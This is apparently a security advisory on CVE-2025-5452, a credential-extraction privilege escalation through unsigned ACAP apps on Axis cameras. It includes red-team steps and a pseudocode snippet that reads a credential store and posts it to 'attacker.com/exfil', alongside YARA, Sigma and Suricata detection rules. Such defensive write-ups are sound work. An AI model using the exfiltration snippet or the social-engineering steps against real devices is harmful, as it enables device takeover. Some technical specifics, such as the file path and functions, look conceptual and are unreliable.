CVE-2025-5452

Executive Summary

CVE-2025-5452 is a privilege escalation vulnerability affecting Axis devices that allow installation of unsigned ACAP (Axis Camera Application Platform) applications. A malicious ACAP application can extract admin-level service account credentials used by legitimate ACAP applications, enabling the attacker to gain elevated privileges on the device. The attack requires social engineering to convince a victim to install the malicious unsigned ACAP, and the device must be configured to allow unsigned ACAP installation. The CVSS score is 6.6 (Medium), but the impact is high due to potential full device compromise. No public exploit or patch is currently available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The malicious ACAP is delivered over the network.
• Attack Complexity (AC): Low (L) – No special conditions required beyond user interaction.
• Privileges Required (PR): None (N) – The attacker does not need prior access.
• User Interaction (UI): Required (R) – Victim must install the malicious ACAP.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Admin credentials can be extracted.
• Integrity (I): High (H) – Attacker can modify device settings.
• Availability (A): High (H) – Attacker can disrupt device operation.

Threat Level: Medium (6.6) – Exploitation requires user interaction and a specific device configuration, but the impact is severe.

Deep Dive & Mechanics

The vulnerability resides in the ACAP runtime environment on Axis devices. ACAP applications run in a sandboxed environment but share a common credential store for service accounts. When a legitimate ACAP application is installed, it may store admin-level service account credentials in a location accessible to other ACAP applications. A malicious ACAP application, if installed as unsigned (allowed by device configuration), can read these credentials from the shared store.

The attack flow:

1. Attacker crafts a malicious unsigned ACAP application.
2. Attacker convinces victim (e.g., via phishing or physical access) to install the ACAP on an Axis device that has unsigned ACAP installation enabled.
3. The malicious ACAP reads the credential store, extracting admin-level service account credentials.
4. The attacker uses these credentials to log in to the device with admin privileges, bypassing normal authentication.

The vulnerability is not due to a code flaw but a design weakness in credential isolation between ACAP applications. The device must have the "Allow unsigned ACAP" option enabled (default is disabled).

Vulnerable vs. Patched Code

No patch is available. The vulnerable behavior is inherent in the ACAP credential management design. A patched version would need to enforce credential isolation per application or require signed ACAPs to access sensitive stores.

Vulnerable configuration:

• Device allows installation of unsigned ACAP applications.
• ACAP applications share a common credential store.

Patched configuration (hypothetical):

• Only signed ACAPs can access credential stores.
• Credential store is isolated per application using unique identifiers.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Axis device with unsigned ACAP installation enabled.
• Victim interaction to install the malicious ACAP.

Steps:

1. Create a malicious ACAP package (.eap file) that includes code to read the credential store.
2. Host the ACAP on a web server or deliver via USB.
3. Social engineer the victim to install the ACAP via the device web interface.
4. The malicious ACAP extracts credentials and exfiltrates them (e.g., via HTTP request to attacker server).
5. Use the credentials to log in to the device with admin privileges.

Example malicious ACAP code snippet (conceptual):

// Pseudocode for credential extraction
#include <acap_runtime.h>
int main() {
    char* creds = read_credential_store("/var/run/acap_creds");
    send_http_post("http://attacker.com/exfil", creds);
    return 0;
}

Blue Team

Detection:

• Monitor for unsigned ACAP installations via device logs.
• Alert on any ACAP that attempts to access credential stores.
• Use network monitoring to detect exfiltration attempts.

Prevention:

• Disable unsigned ACAP installation on all Axis devices.
• Enforce signed ACAPs only.
• Implement application whitelisting.

Indicators of Compromise (IOCs)

• File Hashes: Unknown (no known malicious ACAP samples).
• Network Traffic: Outbound HTTP POST to unknown IPs from Axis device.
• Log Entries: ACAP installation: unsigned package installed in device logs.
• Processes: Unusual ACAP processes running with high privileges.
• Registry/Config: Device configuration showing AllowUnsignedACAP=true.

Detection Engineering

YARA Rule

rule CVE_2025_5452_ACAP_CRED_EXFIL {
    meta:
        description = "Detects malicious ACAP attempting to read credential store"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5452"
    strings:
        $cred_path = "/var/run/acap_creds" nocase
        $exfil_func = "send_http_post" nocase
        $admin_cred = "admin" nocase
    condition:
        all of them
}

Sigma Rule

title: Axis ACAP Credential Access Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ACAP application accessing credential store
author: Valters IT
logsource:
    product: axis
    service: acap
detection:
    selection:
        EventID: 1001
        Message: "*credential*"
    condition: selection
falsepositives:
    - Legitimate ACAP applications
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5452 ACAP Credential Exfiltration"; flow:to_server; content:"POST"; http_method; content:"/exfil"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable unsigned ACAP installation on all Axis devices (set AllowUnsignedACAP=false).
2. Review installed ACAP applications and remove any untrusted ones.
3. Change admin credentials on affected devices.

Long-term:

• Apply vendor patch when released.
• Implement network segmentation for IoT devices.
• Use endpoint detection and response (EDR) for Axis devices.

Workaround:

• Only install signed ACAP applications from trusted sources.
• Monitor device logs for unauthorized ACAP installations.

Valters IT
DevSecOps & Cyber Threat Intelligence